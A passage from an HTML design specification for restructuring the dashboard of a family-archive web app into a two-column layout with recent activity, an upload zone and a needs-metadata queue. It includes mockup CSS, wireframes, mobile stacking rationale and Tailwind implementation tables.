.UPLOAD{border:1.5px dashed rgba(166,218,216,.7);border-radius:3px;background:rgba(166,218,216,.06);padding:14px 10px;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:4px;text-align:center;cursor:pointer}
|
||||
.UPLOAD:hover{background:rgba(166,218,216,.12)}
|
||||
.UPLOAD-LABEL{font-size:7px;font-weight:800;letter-spacing:.08em;text-transform:uppercase;color:#002850;opacity:.65}
|
||||
.UPLOAD-HINT{font-size:6.5px;color:#C8C4BE;line-height:1.5}
|
||||
|
||||
/* ── Needs metadata card ─── */
|
||||
/* flex:1 fills remaining sidebar height after the upload zone */
|
||||
.META-CARD{background:#fff;border:1px solid #E0DDD5;border-top:2px solid #F39C12;border-radius:3px;overflow:hidden;flex:1;display:flex;flex-direction:column}
|
||||
.META-CARD-HEAD{display:flex;align-items:center;justify-content:space-between;padding:7px 10px 6px;border-bottom:1px solid #F0EDE6}
|
||||
.META-CARD-HEAD h3{font-size:7px;font-weight:800;letter-spacing:.12em;text-transform:uppercase;color:#999}
|
||||
.META-PILL{background:#FFF3CD;color:#856404;font-size:7px;font-weight:800;padding:1px 6px;border-radius:10px}
|
||||
.META-ROW{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #F0EDE6}
|
||||
.META-ROW:last-of-type{border-bottom:none}
|
||||
.META-TITLE{font-family:Georgia,serif;font-size:7.5px;color:#002850;flex:1}
|
||||
.META-CARD-FOOT{padding:5px 10px;border-top:1px solid #F0EDE6}
|
||||
|
||||
/* ── Mobile chrome ─── */
|
||||
.WF-M{background:#fff;border:2px solid #B8B4AE;border-radius:14px;overflow:hidden;width:220px;box-shadow:0 4px 18px rgba(0,0,0,.08)}
|
||||
.WF-M-STATUS{height:16px;background:#002850;display:flex;align-items:center;justify-content:space-between;padding:0 8px}
|
||||
.WF-M-TIME{font-size:6.5px;color:#fff;font-weight:700}
|
||||
.N-M{height:28px;background:#002850;display:flex;align-items:center;padding:0 10px;gap:8px}
|
||||
.MAIN-M{padding:8px 10px;display:flex;flex-direction:column;gap:6px;background:#F5F4EF}
|
||||
.PH{height:6px;background:#E8E4DF;border-radius:2px}
|
||||
.w80{width:80%}.w70{width:70%}.w60{width:60%}.w50{width:50%}.w40{width:40%}
|
||||
|
||||
/* ── Changes panel ─── */
|
||||
.CHANGES{background:#fff;border:1.5px solid #E0DDD6;border-radius:8px;padding:20px 24px;margin-bottom:0}
|
||||
.CHANGES h2{font-size:11px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:14px;padding-bottom:10px;border-bottom:1px solid #E8E4DF}
|
||||
.CHANGES-GRID{display:grid;grid-template-columns:1fr 1fr;gap:16px}
|
||||
.C-COL h3{font-size:10px;font-weight:800;color:#444;margin-bottom:8px}
|
||||
.C-COL ul{list-style:none;display:flex;flex-direction:column;gap:5px}
|
||||
.C-COL ul li{font-size:11px;color:#555;padding-left:18px;position:relative;line-height:1.5}
|
||||
.C-COL.add li::before{content:'✦';position:absolute;left:0;color:#002850;font-size:8px;top:2px}
|
||||
.C-COL.remove li::before{content:'✗';position:absolute;left:0;color:#DC2626;top:1px}
|
||||
.C-COL.keep li::before{content:'→';position:absolute;left:0;color:#888}
|
||||
.C-COL li code{font-family:monospace;font-size:10px;background:#F5F5F5;padding:0 4px;border-radius:2px}
|
||||
|
||||
/* ── Edge cases ─── */
|
||||
.EDGE{background:#FFFBF0;border:1px solid #F0D090;border-radius:6px;padding:11px 15px;margin-bottom:8px}
|
||||
.EDGE-LABEL{font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#92400E;margin-bottom:4px}
|
||||
.EDGE-BODY{font-size:11px;color:#555;line-height:1.6}
|
||||
.EDGE-BODY code{font-family:monospace;font-size:10px;background:rgba(0,0,0,.06);padding:0 4px;border-radius:2px}
|
||||
|
||||
/* ── AC list ─── */
|
||||
.AC{counter-reset:ac;display:flex;flex-direction:column;gap:7px}
|
||||
.AC-ITEM{display:flex;align-items:flex-start;gap:10px;background:#fff;border:1px solid #E0DDD5;border-radius:5px;padding:10px 14px;font-size:11px;color:#333;line-height:1.6}
|
||||
.AC-ITEM::before{counter-increment:ac;content:counter(ac);display:flex;align-items:center;justify-content:center;width:20px;height:20px;min-width:20px;border-radius:50%;background:#002850;color:#fff;font-size:9px;font-weight:900;margin-top:1px}
|
||||
.AC-ITEM code{font-family:monospace;font-size:10px;background:#F5F5F5;padding:0 4px;border-radius:2px}
|
||||
.AC-ITEM .tag{font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.5px;padding:1px 5px;border-radius:3px;margin-left:6px}
|
||||
.AC-ITEM .tag-a11y{background:#EDE9FE;color:#5B21B6}
|
||||
.AC-ITEM .tag-mobile{background:#DCFCE7;color:#166534}
|
||||
.AC-ITEM .tag-data{background:#DBEAFE;color:#1E40AF}
|
||||
|
||||
/* ── Spec disclaimer ─── */
|
||||
.spec-disclaimer{background:#FFF8E1;border:1.5px solid #FFC107;border-radius:6px;padding:11px 16px;font-size:11px;color:#6D4C00;margin-bottom:32px;line-height:1.6}
|
||||
.spec-disclaimer strong{font-weight:800}
|
||||
|
||||
/* ── Agent Implementation Reference ─── */
|
||||
.impl-ref{background:#0d1117;border-radius:8px;margin-top:20px;overflow:hidden;border:1px solid #30363d}
|
||||
.impl-ref-hdr{background:#161b22;padding:9px 16px;font-size:9.5px;font-weight:800;color:#f0883e;border-bottom:1px solid #30363d;display:flex;align-items:center;gap:8px;letter-spacing:.4px;text-transform:uppercase}
|
||||
.impl-ref-hdr::before{content:'⚙';font-size:12px}
|
||||
.impl-ref-hdr span{color:rgba(240,136,62,.55);font-weight:400;margin-left:auto;font-size:9px;text-transform:none;letter-spacing:0}
|
||||
.impl-ref table{width:100%;border-collapse:collapse;font-size:10px}
|
||||
.impl-ref th{text-align:left;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#8b949e;padding:8px 14px;border-bottom:1px solid #21262d}
|
||||
.impl-ref td{padding:6px 14px;border-bottom:1px solid #161b22;vertical-align:top;line-height:1.6;color:#c9d1d9}
|
||||
.impl-ref tr:last-child td{border-bottom:none}
|
||||
.impl-ref td:first-child{color:#79c0ff;font-weight:700;white-space:nowrap;width:200px}
|
||||
.impl-ref td code{font-family:'SFMono-Regular',Consolas,monospace;font-size:9.5px;background:#161b22;color:#a5d6ff;padding:1px 5px;border-radius:3px;white-space:nowrap}
|
||||
.impl-ref .ir-px{color:#7ee787;font-family:monospace;font-size:9.5px}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="doc">
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
MASTHEAD
|
||||
══════════════════════════════════ -->
|
||||
<div class="mast">
|
||||
<div class="mast-top">
|
||||
<div>
|
||||
<h1>Dashboard — Classic Split · Final Design Spec</h1>
|
||||
<p>Refocus the homepage on documents. The notification widget is removed from the dashboard — it already lives in the bell dropdown. The page is restructured into a two-column "Command Center": recent activity on the left, upload zone and missing-metadata queue on the right. Stats are demoted to a quiet footnote.</p>
|
||||
</div>
|
||||
<span class="mast-badge">Final · Ready for implementation</span>
|
||||
</div>
|
||||
<div class="decisions">
|
||||
<div class="dec">
|
||||
<div class="dec-label">Notification widget</div>
|
||||
<div class="dec-value"><s>On dashboard</s><br>→ Bell dropdown only</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Layout</div>
|
||||
<div class="dec-value"><s>Single column stacked</s><br>→ 2-col split (desktop)</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Upload button in action bar</div>
|
||||
<div class="dec-value"><s>Redundant button</s><br>→ Upload zone only</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Stats</div>
|
||||
<div class="dec-value"><s>Prominent stat chips</s><br>→ Quiet footnote text</div>
|
||||
</div>
|
||||
<div class="dec">
|
||||
<div class="dec-label">Backend changes</div>
|
||||
<div class="dec-value">None — <code style="color:#A6DAD8;font-size:9px">/api/stats</code> already exists</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- spec disclaimer -->
|
||||
<div class="spec-disclaimer">
|
||||
<strong>📐 Mockup scale notice —</strong> all font-size, height, and padding values in the mockup CSS below are scaled to ~55% of actual implementation values.
|
||||
<strong>Do not copy sizes from mockup CSS.</strong> Use the ⚙ Implementation Reference tables after each section.
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 1 — DESKTOP LAYOUT
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">1</span> Desktop Layout — ≥ 1024 px</div>
|
||||
|
||||
<div class="sg sg-2" style="align-items:start">
|
||||
|
||||
<div class="sb">
|
||||
<div class="sl">Full page <span class="sz">1440px</span></div>
|
||||
|
||||
<!-- Mock browser -->
|
||||
<div class="wf">
|
||||
<div class="wf-bar">
|
||||
<div class="dot r"></div><div class="dot y"></div><div class="dot g"></div>
|
||||
<div class="urlbar"><span>familienarchiv.local /</span></div>
|
||||
</div>
|
||||
<!-- Nav -->
|
||||
<div class="N">
|
||||
<span class="logo">Familienarchiv</span>
|
||||
<span class="nl on">Documents</span>
|
||||
<span class="nl">Persons</span>
|
||||
<span class="nl">Correspondence</span>
|
||||
<div class="nr">
|
||||
<!-- settings icon -->
|
||||
<div class="nico"><svg width="9" height="9" viewBox="0 0 24 24" fill="none" stroke="rgba(255,255,255,.5)" stroke-width="2"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 00.33 1.82l.06.06a2 2 0 010 2.83 2 2 0 01-2.83 0l-.06-.06a1.65 1.65 0 00-1.82-.33 1.65 1.65 0 00-1 1.51V21a2 2 0 01-4 0v-.09A1.65 1.65 0 009 19.4a1.65 1.65 0 00-1.82.33l-.06.06a2 2 0 01-2.83-2.83l.06-.06A1.65 1.65 0 004.68 15a1.65 1.65 0 00-1.51-1H3a2 2 0 010-4h.09"/></svg></div>
|
||||
<!-- bell with dot -->
|
||||
<div class="nico" style="position:relative">
|
||||
<svg width="9" height="9" viewBox="0 0 24 24" fill="none" stroke="rgba(255,255,255,.5)" stroke-width="2"><path d="M18 8A6 6 0 006 8c0 7-3 9-3 9h18s-3-2-3-9"/><path d="M13.73 21a2 2 0 01-3.46 0"/></svg>
|
||||
<div style="position:absolute;top:2px;right:2px;width:4px;height:4px;background:#A6DAD8;border-radius:50%;"></div>
|
||||
</div>
|
||||
<div class="av">BC</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="N-accent"></div>
|
||||
|
||||
<!-- Page body -->
|
||||
<div class="MAIN">
|
||||
|
||||
<!-- Search -->
|
||||
<div class="SEARCH">
|
||||
<div class="SEARCH-BOX">
|
||||
<svg width="9" height="9" viewBox="0 0 24 24" fill="none" stroke="#C8C4BE" stroke-width="2"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg>
|
||||
<input type="text" placeholder="Search in title, content, location…" disabled>
|
||||
</div>
|
||||
<button class="FILTER-BTN">
|
||||
<svg width="8" height="8" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><line x1="4" y1="6" x2="20" y2="6"/><line x1="8" y1="12" x2="16" y2="12"/><line x1="11" y1="18" x2="13" y2="18"/></svg>
|
||||
Filter
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Resume strip -->
|
||||
<div class="RESUME">
|
||||
<svg width="8" height="8" viewBox="0 0 24 24" fill="none" stroke="#C8C4BE" stroke-width="2"><path d="M12 20h9"/><path d="M16.5 3.5a2.121 2.121 0 013 3L7 19l-4 1 1-4z"/></svg>
|
||||
Continue where you left off: <strong>E28 History Tee Dokument (bearbeitet)</strong>
|
||||
</div>
|
||||
|
||||
<!-- 2-col dashboard grid -->
|
||||
<div class="DASH-GRID">
|
||||
|
||||
<!-- LEFT: Recent docs -->
|
||||
<div class="CARD">
|
||||
<div class="CARD-HEAD">
|
||||
<h3>Recent Activity</h3>
|
||||
<a href="#">All documents →</a>
|
||||
</div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 Hash Tee — review</span><span class="DOC-DATE">30. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 Hash Tee — version</span><span class="DOC-DATE">30. März 2026</span></div>
|
||||
<div class="CARD-FOOT">
|
||||
<span class="CARD-FOOT-TEXT">248 Documents · 34 Persons</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- RIGHT: Sidebar -->
|
||||
<div class="SIDEBAR">
|
||||
<!-- Upload zone -->
|
||||
<div class="UPLOAD">
|
||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#A6DAD8" stroke-width="1.5"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M17 8l-5-5-5 5M12 3v12"/></svg>
|
||||
<div class="UPLOAD-LABEL">Drop files here</div>
|
||||
<div class="UPLOAD-HINT">PDF, PNG, JPG, ODS, XLS<br>or click to browse</div>
|
||||
</div>
|
||||
<!-- Needs metadata -->
|
||||
<div class="META-CARD">
|
||||
<div class="META-CARD-HEAD">
|
||||
<h3>Needs Metadata</h3>
|
||||
<span class="META-PILL">5</span>
|
||||
</div>
|
||||
<div class="META-ROW"><span class="META-TITLE">E28 History Tee Dokument</span></div>
|
||||
<div class="META-ROW"><span class="META-TITLE">E28 History Tee Dokument</span></div>
|
||||
<div class="META-ROW"><span class="META-TITLE">E28 History Tee Dokument</span></div>
|
||||
<div class="META-CARD-FOOT"><a href="#" style="font-size:6.5px;font-weight:600;color:#002850;opacity:.45;text-decoration:none">Show all →</a></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div><!-- /DASH-GRID -->
|
||||
</div><!-- /MAIN -->
|
||||
</div><!-- /wf -->
|
||||
|
||||
<div class="ann-block">
|
||||
<strong>Key decisions visible here</strong>
|
||||
<ul>
|
||||
<li>Notification widget removed entirely — bell badge in header is sufficient</li>
|
||||
<li>Upload zone replaces the action-bar button — no redundancy</li>
|
||||
<li>Stats footnote: <em>quiet</em>, not a chip — does not compete for attention</li>
|
||||
<li>Right column is 300 px fixed — enough for upload + short metadata list</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Annotated callouts panel -->
|
||||
<div class="sb">
|
||||
<div class="sl">Annotations</div>
|
||||
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:6px;padding:16px 18px;font-size:11px;color:#333;line-height:1.7;display:flex;flex-direction:column;gap:14px;">
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">① Search bar</div>
|
||||
Unchanged — existing <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">SearchFilterBar</code> component. Full width, no upload button appended.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">② Resume strip</div>
|
||||
Unchanged — <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">DashboardResumeStrip</code>. Only renders when localStorage has a last-visited document. Hidden otherwise — no empty gap.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">③ Dashboard grid</div>
|
||||
<code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">grid grid-cols-1 lg:grid-cols-[1fr_300px] gap-4</code><br>
|
||||
No <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">items-start</code> — the CSS Grid default <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">align-items: stretch</code> makes both columns the same height for free. The right column wrapper needs <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">h-full</code> so the flex container fills that height, and the metadata card gets <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">flex-1</code> to consume the space left after the upload zone. Both columns are always flush at the bottom.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">④ Recent Activity card</div>
|
||||
<code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">DashboardRecentDocuments</code> receives a new optional <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">stats</code> prop. The footnote only renders when <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">stats?.totalDocuments != null</code>.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#F39C12;margin-bottom:4px;">⑤ Upload zone</div>
|
||||
Existing <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">DropZone</code> component, no internal changes. Wrapped in <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">{#if data.canWrite}</code> — hidden for read-only users.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#F39C12;margin-bottom:4px;">⑥ Needs Metadata card</div>
|
||||
Unchanged <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">DashboardNeedsMetadata</code>. Already renders nothing when <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">incompleteDocs.length === 0</code>. Amber top border signals "action required" without relying on color alone — the heading "Needs Metadata" and count pill are redundant cues.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:4px;">⑦ Right column empty state</div>
|
||||
If both upload zone (no canWrite) and needs-metadata (no incomplete docs) are absent, the right grid cell is an empty <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px"><div></code>. The equal-height stretch still applies but an invisible column causes no visual artefact. When this case is detectable server-side, consider conditionally omitting the grid class so the left column runs full width — but this is a polish improvement, not a blocker.
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- impl-ref: Desktop layout -->
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Desktop Layout
|
||||
<span>Real values · mockup above is ~55% scale · do not copy mockup CSS</span>
|
||||
</div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Page wrapper</td>
|
||||
<td><code>mx-auto max-w-7xl px-4 py-8 font-sans sm:px-6 lg:px-8</code></td>
|
||||
<td><span class="ir-px">py 32px, max-w 1280px</span></td>
|
||||
<td>Unchanged from current <code>+page.svelte</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Resume strip</td>
|
||||
<td><code>mb-4</code> (existing component, no change)</td>
|
||||
<td><span class="ir-px">mb 16px</span></td>
|
||||
<td>Unchanged</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Dashboard grid wrapper</td>
|
||||
<td><code>mt-4 grid grid-cols-1 gap-4 lg:grid-cols-[1fr_300px]</code></td>
|
||||
<td><span class="ir-px">gap 16px, right col 300px fixed</span></td>
|
||||
<td><strong>No <code>items-start</code>.</strong> CSS Grid default is <code>align-items: stretch</code> — both columns are automatically the same height. Replaces the current conditional mentions+metadata grid.</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Right column inner wrapper</td>
|
||||
<td><code>flex flex-col gap-4 h-full</code></td>
|
||||
<td><span class="ir-px">gap 16px, full grid cell height</span></td>
|
||||
<td><code>h-full</code> is required so the flex container fills the stretched grid cell. Without it the column stops at content height and <code>flex-1</code> on the child has nothing to fill.</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>DashboardNeedsMetadata wrapper</td>
|
||||
<td><code>flex-1 flex flex-col min-h-0</code> (wraps the component)</td>
|
||||
<td><span class="ir-px">grows to fill remaining height</span></td>
|
||||
<td><code>flex-1</code> consumes the space left after the DropZone. <code>min-h-0</code> prevents flex overflow. The component's inner card should be <code>h-full</code> so the card border fills the space — content sits at the top, not stretched.</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>DropZone guard</td>
|
||||
<td><code>{#if data.canWrite}</code></td>
|
||||
<td>—</td>
|
||||
<td>No changes to the DropZone component itself — wrapper condition only. When absent, the metadata card's <code>flex-1</code> still fills the full right column height.</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 2 — MOBILE LAYOUT
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">2</span> Mobile Layout — < 1024 px · stacking order</div>
|
||||
|
||||
<div class="sg sg-mob" style="align-items:start;gap:32px">
|
||||
|
||||
<!-- Mobile mockup -->
|
||||
<div class="sb">
|
||||
<div class="sl">375 px <span class="sz">iPhone</span></div>
|
||||
<div class="WF-M">
|
||||
<div class="WF-M-STATUS">
|
||||
<span class="WF-M-TIME">09:41</span>
|
||||
<div style="display:flex;gap:3px"><div style="width:5px;height:5px;background:rgba(255,255,255,.4);border-radius:1px"></div><div style="width:5px;height:5px;background:rgba(255,255,255,.4);border-radius:1px"></div><div style="width:5px;height:5px;background:rgba(255,255,255,.4);border-radius:1px"></div></div>
|
||||
</div>
|
||||
<div class="N-M">
|
||||
<span class="logo" style="font-size:7px">Familienarchiv</span>
|
||||
<div class="nr">
|
||||
<div class="nico" style="position:relative">
|
||||
<svg width="8" height="8" viewBox="0 0 24 24" fill="none" stroke="rgba(255,255,255,.5)" stroke-width="2"><path d="M18 8A6 6 0 006 8c0 7-3 9-3 9h18s-3-2-3-9"/><path d="M13.73 21a2 2 0 01-3.46 0"/></svg>
|
||||
<div style="position:absolute;top:2px;right:2px;width:3px;height:3px;background:#A6DAD8;border-radius:50%;"></div>
|
||||
</div>
|
||||
<div class="av" style="width:16px;height:16px;font-size:5px">BC</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="N-accent"></div>
|
||||
<div class="MAIN-M">
|
||||
<!-- search -->
|
||||
<div style="height:22px;background:#fff;border:1.5px solid #E0DDD5;border-radius:3px;display:flex;align-items:center;padding:0 8px;gap:5px">
|
||||
<svg width="8" height="8" viewBox="0 0 24 24" fill="none" stroke="#C8C4BE" stroke-width="2"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg>
|
||||
<div class="PH w70" style="height:5px"></div>
|
||||
</div>
|
||||
<!-- resume -->
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:3px;padding:4px 8px;display:flex;align-items:center;gap:4px">
|
||||
<div class="PH w60" style="height:5px;background:#E8E4DF"></div>
|
||||
</div>
|
||||
<!-- ① recent docs -->
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:3px;overflow:hidden">
|
||||
<div style="padding:5px 8px;border-bottom:1px solid #F0EDE6;display:flex;justify-content:space-between">
|
||||
<div class="PH w40" style="height:5px"></div>
|
||||
<div class="PH w20" style="height:5px;width:20%"></div>
|
||||
</div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w80" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w70" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w80" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w60" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w70" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:5px 8px;border-top:1px solid #F0EDE6"><div class="PH w40" style="height:4px"></div></div>
|
||||
</div>
|
||||
<!-- ② upload -->
|
||||
<div style="border:1.5px dashed rgba(166,218,216,.7);border-radius:3px;background:rgba(166,218,216,.06);padding:12px 8px;display:flex;flex-direction:column;align-items:center;gap:3px">
|
||||
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#A6DAD8" stroke-width="1.5"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M17 8l-5-5-5 5M12 3v12"/></svg>
|
||||
<div class="PH w50" style="height:5px"></div>
|
||||
<div class="PH w70" style="height:4px"></div>
|
||||
</div>
|
||||
<!-- ③ needs metadata -->
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-top:2px solid #F39C12;border-radius:3px;overflow:hidden">
|
||||
<div style="padding:5px 8px;border-bottom:1px solid #F0EDE6;display:flex;justify-content:space-between;align-items:center">
|
||||
<div class="PH w40" style="height:5px"></div>
|
||||
<div style="background:#FFF3CD;border-radius:8px;padding:1px 5px;font-size:6px;font-weight:800;color:#856404">5</div>
|
||||
</div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w70" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px;border-bottom:1px solid #F0EDE6"><div class="PH w60" style="height:6px;background:#E0DDD5"></div></div>
|
||||
<div style="padding:4px 8px"><div class="PH w70" style="height:6px;background:#E0DDD5"></div></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="sc">Stacking order on mobile: recent docs → upload → metadata</div>
|
||||
</div>
|
||||
|
||||
<!-- Explanation -->
|
||||
<div class="sb">
|
||||
<div class="sl">Stacking order rationale</div>
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:6px;padding:16px 18px;font-size:11px;line-height:1.7;display:flex;flex-direction:column;gap:14px;color:#333">
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">① Recent Activity — first</div>
|
||||
The most common task on mobile: browsing recently-touched documents. This should be immediately visible without scrolling past an upload zone most users won't use every visit.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:4px;">② Upload zone — second</div>
|
||||
Mobile uploads happen but are less frequent than browsing. Positioned after the list so it doesn't block the primary use case, but still reachable with a single scroll.
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#F39C12;margin-bottom:4px;">③ Needs Metadata — last</div>
|
||||
Metadata enrichment on mobile is uncommon (small screen, lots of form fields). It appears last — accessible to those who need it, invisible noise to everyone else.
|
||||
</div>
|
||||
|
||||
<div style="background:#F0FDF4;border:1px solid #86EFAC;border-radius:5px;padding:10px 12px;font-size:11px;color:#14532D">
|
||||
<strong>Touch targets:</strong> All interactive rows in DashboardRecentDocuments and DashboardNeedsMetadata must meet <strong>min-height 44px</strong> (WCAG 2.5.5). The upload zone's click target is the full box — no small button.
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:6px;padding:16px 18px;font-size:11px;line-height:1.7;color:#333;margin-top:0">
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:10px">Dual-audience notes</div>
|
||||
<div style="display:flex;flex-direction:column;gap:10px">
|
||||
<div>
|
||||
<span style="font-size:8px;font-weight:800;background:#002850;color:#A6DAD8;padding:1px 6px;border-radius:3px;text-transform:uppercase;letter-spacing:.5px">Seniors 60+</span>
|
||||
<div style="margin-top:4px">Document title is Merriweather serif at <strong>18px minimum</strong> — the most commonly undersized element in this type of list. Date label in <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">text-ink-3</code> at 12px — acceptable for supplementary metadata but never below that. Sufficient line-height (1.6) and border separators provide clear row breaks without relying on color.</div>
|
||||
</div>
|
||||
<div>
|
||||
<span style="font-size:8px;font-weight:800;background:#374151;color:#D1FAE5;padding:1px 6px;border-radius:3px;text-transform:uppercase;letter-spacing:.5px">Millennials</span>
|
||||
<div style="margin-top:4px">Information density is preserved on desktop. The upload zone accepts drag-and-drop natively — no button required for the gesture-native user. Stats footnote satisfies curiosity without cluttering the primary view.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- impl-ref: Mobile -->
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Mobile Stacking
|
||||
<span>Real values · mockup above is ~55% scale</span>
|
||||
</div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Grid (mobile)</td>
|
||||
<td><code>grid-cols-1</code> (default, overridden at lg)</td>
|
||||
<td><span class="ir-px">full width</span></td>
|
||||
<td>No explicit mobile grid — single column is the default</td>
|
||||
</tr>
|
||||
<tr>
|
||||
